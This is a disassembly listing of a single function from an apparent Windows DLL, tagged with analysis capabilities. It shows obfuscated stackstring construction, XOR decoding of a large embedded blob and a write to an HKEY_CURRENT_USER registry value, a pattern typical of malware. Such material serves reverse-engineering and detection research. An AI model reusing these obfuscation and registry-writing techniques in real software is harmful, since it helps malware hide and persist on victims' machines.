Function at 0x180036f90
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rdi, rcx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], select
xor eax, eax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x68]
mov byte [rbp + 0x278], 0xa
movzx eax, byte [rbp + 0x278]
lea rsi, [0x180000000]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xa], al
mov byte [rbp + 0x278], 0xad
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 9], al
mov byte [rbp + 0x278], 0x5c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 8], al
mov byte [rbp + 0x278], 0x22
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 7], al
mov byte [rbp + 0x278], 0xad
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 6], al
mov byte [rbp + 0x278], __WSAFDIsSet
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 5], al
mov byte [rbp + 0x278], 0x9c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 4], al
mov byte [rbp + 0x278], 0x50
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 3], al
mov byte [rbp + 0x278], 0x8f
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 2], al
mov byte [rbp + 0x278], 0xad
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 1], al
mov byte [rbp + 0x278], 0x39
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx], al
xor r14d, r14d
mov qword [rbp + 0x280], r14
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
lea r8, [rbp + 0x280]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x180037124
mov dword [rbp - 0x38], eax
mov byte [rbp - 0x30], r14b
jmp 0x180037133
mov rax, qword [rbp + 0x280]
mov qword [rbp - 0x38], rax
mov byte [rbp - 0x30], 1
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x18003716f
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003716a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037f28
call fcn.18008a564
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r15
mov byte [rsp + 0x68], 0
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, byte [rbp - 0x30]
test al, al
jne 0x180037199
xor bl, bl
jmp 0x180037ef9
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], r15
mov byte [rbp - 0x78], 0
mov ecx, 0x20
call fcn.18008a528
mov qword [rbp - 0x68], reloc.WS2_32.dll_socket
mov qword [rbp - 0x60], 0x1f
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rcx
mov qword [rbp - 0x78], rax
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, rax
mov byte [rbp + 0x278], 0x5c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x16], al
mov byte [rbp + 0x278], 0x2c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x15], al
mov byte [rbp + 0x278], 0x5c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x14], al
mov byte [rbp + 0x278], 7
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x13], al
mov byte [rbp + 0x278], 0x9c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x12], al
mov byte [rbp + 0x278], 0x5c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x11], al
mov byte [rbp + 0x278], 0x53
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x10], al
mov byte [rbp + 0x278], 0x3f
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xf], al
mov byte [rbp + 0x278], __WSAFDIsSet
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xe], al
mov byte [rbp + 0x278], 0xf6
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xd], al
mov byte [rbp + 0x278], 0x5c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xc], al
mov byte [rbp + 0x278], 3
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xb], al
mov byte [rbp + 0x278], 0xb8
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xa], al
mov byte [rbp + 0x278], 0x53
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 9], al
mov byte [rbp + 0x278], __WSAFDIsSet
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 8], al
mov byte [rbp + 0x278], 0x57
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 7], al
mov byte [rbp + 0x278], 0x88
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 6], al
mov byte [rbp + 0x278], 0xab
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 5], al
mov byte [rbp + 0x278], __WSAFDIsSet
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 4], al
mov byte [rbp + 0x278], 0x53
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 3], al
mov byte [rbp + 0x278], 0xad
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 2], al
mov byte [rbp + 0x278], 0x50
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 1], al
mov byte [rbp + 0x278], 0xda
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx], al
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0xa0]
call fcn.18002bb40
nop
mov qword [rsp + 0x60], 7
mov qword [rsp + 0x58], 4
mov qword [rsp + 0x48], r14
mov word [rsp + 0x50], r14w
mov eax, 0x86a7
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [rsp + 0x4e], dx
mov eax, 0x8622
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [rsp + 0x4c], dx
mov r12d, 0x865c
mov word [rbp + 0x278], r12w
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [rsp + 0x4a], dx
mov eax, 0x86ba
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [rsp + 0x48], dx
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x100]
call fcn.18005b110
nop
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8, [rbp + 0xa0]
lea rdx, [rbp]
lea rcx, [rbp + 0x80]
call fcn.18002e4a0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x1800375b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800375b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037f2e
call fcn.18008a564
movdqa xmm0, xmmword [0x180102450]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r14w
lea rcx, [rbp + 0x100]
call fcn.1800287c0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x180037618
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037613
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037f34
call fcn.18008a564
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], r14w
lea rcx, [rbp + 0xa0]
call fcn.1800287c0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x180037674
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003766f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037f3a
call fcn.18008a564
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], r15
mov byte [rbp - 0x78], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov ecx, 0x35cf
call fcn.18008a528
test rax, rax
je 0x180037f22
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rsp + 0x30], rcx
lea rbx, [rcx + 0x35a8]
mov qword [rsp + 0x40], rbx
xor edx, edx
mov r8d, 0x35a8
call fcn.18008cd80
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x288], r14
lea rcx, [rbp + 0x288]
call fcn.180039ab0
mov eax, 0xfe5a1db
mov r8, r14
nop dword [rax + rax]
movzx edx, al
xor dl, byte [r8 + rsi + 0xfdc80]
mov rcx, qword [rsp + 0x30]
mov byte [rcx + r8], dl
ror eax, 2
movzx edx, al
xor dl, byte [r8 + rsi + 0xfdc81]
mov rcx, qword [rsp + 0x30]
mov byte [rcx + r8 + 1], dl
ror eax, 2
add r8, 2
cmp r8, 0x35a8
jb 0x1800376f0
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.18002b530
nop
xor r8d, r8d
lea edx, [r8 + 0xe]
lea rcx, [rbp + 0x20]
call fcn.180032430
lea r8, [rbp + 0x20]
cmp qword [rbp + 0x38], 8
cmovae r8, qword [rbp + 0x20]
mov eax, 0x86e1
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 0x1a], dx
mov eax, 0x86ee
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 0x18], dx
mov word [rbp + 0x278], r12w
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 0x16], dx
mov eax, 0x862c
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 0x14], dx
mov word [rbp + 0x278], r12w
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 0x12], dx
mov eax, 0x8607
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 0x10], dx
mov eax, 0x8609
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 0xe], dx
mov eax, 0x8678
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 0xc], dx
mov r9d, 0x8603
mov word [rbp + 0x278], r9w
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 0xa], dx
mov word [rbp + 0x278], r9w
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 8], dx
mov eax, 0x8653
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 6], dx
mov eax, 0x86ad
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 4], dx
mov eax, 0x86b8
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8 + 2], dx
mov eax, 0x869c
mov word [rbp + 0x278], ax
movzx eax, word [rbp + 0x278]
mov ecx, eax
shr rax, 8
movzx edx, byte [rax + rsi + 0xefbc0]
shl dx, 8
movzx eax, cl
movzx eax, byte [rax + rsi + 0xefbc0]
or dx, ax
mov word [r8], dx
lea r9, [rbp + 0xe0]
lea r8, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.180039b20
nop
lea r8, [0x1800fdbe8]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x60]
call fcn.1800398a0
nop
lea rcx, [rbp + 0xc0]
call fcn.1800287c0
nop
lea rcx, [rbp + 0x20]
call fcn.1800287c0
nop
lea rcx, [rbp + 0xe0]
call fcn.1800287c0
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 8
cmovae rcx, qword [rbp + 0x60]
mov rdx, qword [rsp + 0x30]
add rdx, 0x3c0
nop dword [rax]
movzx eax, word [rcx]
mov word [rdx], ax
lea rcx, [rcx + 2]
lea rdx, [rdx + 2]
test ax, ax
jne 0x180037ad0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x120]
call fcn.180039910
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x130], 6
jne 0x180037b2d
and dword [rbp + rcx + 0x138], 0xfffffffe
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
sub r8, rdx
lea rcx, [rbp + 0x120]
call fcn.180017810
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.18002e2f0
nop
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r15
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x180037b60
lea rcx, [rbp - 0x20]
call fcn.18000c9d0
nop
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r15
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rbp - 0x58]
call fcn.18000e960
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
mov byte [rbp + 0x278], 0xa
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x15], al
mov byte [rbp + 0x278], 0xa7
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x14], al
mov byte [rbp + 0x278], 0x50
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x13], al
mov byte [rbp + 0x278], 0x9c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x12], al
mov byte [rbp + 0x278], 0xe4
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x11], al
mov byte [rbp + 0x278], 0x4d
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0x10], al
mov byte [rbp + 0x278], 0xad
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xf], al
mov byte [rbp + 0x278], __WSAFDIsSet
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xe], al
mov byte [rbp + 0x278], 0xf9
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xd], al
mov byte [rbp + 0x278], __WSAFDIsSet
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xc], al
mov byte [rbp + 0x278], 0xf6
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xb], al
mov byte [rbp + 0x278], 0x9c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 0xa], al
mov byte [rbp + 0x278], 0xa7
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 9], al
mov byte [rbp + 0x278], 0x57
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 8], al
mov byte [rbp + 0x278], 0xa
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 7], al
mov byte [rbp + 0x278], 0x50
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 6], al
mov byte [rbp + 0x278], 0xad
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 5], al
mov byte [rbp + 0x278], 0xb2
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 4], al
mov byte [rbp + 0x278], 0x9c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 3], al
mov byte [rbp + 0x278], 0x5c
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 2], al
mov byte [rbp + 0x278], 0x88
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx + 1], al
mov byte [rbp + 0x278], 0x21
movzx eax, byte [rbp + 0x278]
movzx eax, byte [rax + rsi + 0xefbc0]
mov byte [rdx], al
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
mov eax, dword [rbp - 0x10]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x180037e39
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037e34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037f1c
call fcn.18008a564
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r15
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x180037e80
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037e7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037f1c
call fcn.18008a564
mov bl, 1
lea rcx, [rbp + 0x40]
call fcn.18000c740
nop
lea rcx, [rbp + 0x120]
call fcn.180037f40
nop
lea rcx, [rbp + 0x60]
call fcn.1800287c0
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180037ee9
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037ed6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037f22
call fcn.18008a564
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
lea rcx, [rbp + 0x80]
call fcn.1800287c0
movzx eax, byte [rbp - 0x30]
test al, al
je 0x180037f07
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, bl
add rsp, 0x330
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180090f98
nop
call fcn.180090f98
nop
call fcn.180090f98
nop
call fcn.180090f98
nop
call fcn.180090f98
nop
call fcn.180090f98
int3